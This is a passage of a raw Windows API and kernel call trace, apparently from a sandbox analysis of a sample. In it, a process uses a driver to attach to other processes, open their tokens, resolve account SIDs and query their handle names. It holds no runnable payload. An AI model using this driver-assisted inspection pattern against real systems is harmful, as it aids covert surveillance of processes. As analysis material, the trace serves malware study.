ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.112] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.112] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.112] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.112] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.113] CloseHandle (hObject=0xc8) returned 1 [0114.113] CloseHandle (hObject=0xc0) returned 1 [0114.113] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.113] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.113] PsAcquireProcessExitSynchronization () returned 0x0 [0114.113] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880055905d0) [0114.114] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0114.114] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.114] PsReleaseProcessExitSynchronization () returned 0x2 [0114.114] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0114.114] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.114] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0114.114] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.114] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.114] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0114.114] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.114] PsAcquireProcessExitSynchronization () returned 0x0 [0114.114] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880055905d0) [0114.114] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0114.114] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.114] PsReleaseProcessExitSynchronization () returned 0x2 [0114.114] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0114.114] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.114] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0114.114] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.114] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.114] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.114] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.114] PsAcquireProcessExitSynchronization () returned 0x0 [0114.114] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880055905d0) [0114.115] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.115] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.115] PsReleaseProcessExitSynchronization () returned 0x2 [0114.115] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0114.115] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.115] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.115] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.115] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.115] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0114.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.115] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0114.115] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.115] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0114.115] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.115] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.115] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.115] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.115] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.116] CloseHandle (hObject=0xc8) returned 1 [0114.117] CloseHandle (hObject=0xc0) returned 1 [0114.117] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.117] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.117] PsAcquireProcessExitSynchronization () returned 0x0 [0114.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880055905d0) [0114.117] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0114.117] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.117] PsReleaseProcessExitSynchronization () returned 0x2 [0114.117] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0114.117] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.117] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0114.117] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.117] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.117] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0114.117] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.117] PsAcquireProcessExitSynchronization () returned 0x0 [0114.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880055905d0) [0114.117] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0114.117] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.117] PsReleaseProcessExitSynchronization () returned 0x2 [0114.117] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0114.117] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.117] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0114.117] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.117] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.118] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.118] PsAcquireProcessExitSynchronization () returned 0x0 [0114.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880055905d0) [0114.118] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.118] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.118] PsReleaseProcessExitSynchronization () returned 0x2 [0114.118] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0114.118] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.118] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.118] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.118] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.118] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0114.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.118] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0114.118] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.118] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0114.118] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.118] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.118] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.119] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.119] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.120] CloseHandle (hObject=0xc8) returned 1 [0114.120] CloseHandle (hObject=0xc0) returned 1 [0114.120] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.120] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.120] PsAcquireProcessExitSynchronization () returned 0x0 [0114.120] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880055905d0) [0114.120] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0114.120] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.120] PsReleaseProcessExitSynchronization () returned 0x2 [0114.120] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0114.120] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.120] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0114.120] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.120] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.120] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0114.121] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.121] PsAcquireProcessExitSynchronization () returned 0x0 [0114.121] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880055905d0) [0114.121] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0114.121] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.121] PsReleaseProcessExitSynchronization () returned 0x2 [0114.121] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0114.121] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.121] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0114.121] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.121] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.121] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.121] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.121] PsAcquireProcessExitSynchronization () returned 0x0 [0114.121] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880055905d0) [0114.121] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.121] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.121] PsReleaseProcessExitSynchronization () returned 0x2 [0114.121] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0114.121] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.121] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.121] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.121] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.121] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0114.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.122] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0114.122] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.122] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0114.122] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.122] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.122] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.122] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.122] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.123] CloseHandle (hObject=0xc8) returned 1 [0114.123] CloseHandle (hObject=0xc0) returned 1 [0114.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.123] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.123] PsAcquireProcessExitSynchronization () returned 0x0 [0114.123] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880055905d0) [0114.123] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0114.124] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.124] PsReleaseProcessExitSynchronization () returned 0x2 [0114.124] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0114.124] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.124] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0114.124] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.124] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.124] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0114.124] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.124] PsAcquireProcessExitSynchronization () returned 0x0 [0114.124] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880055905d0) [0114.124] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0114.124] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.124] PsReleaseProcessExitSynchronization () returned 0x2 [0114.124] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0114.124] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: 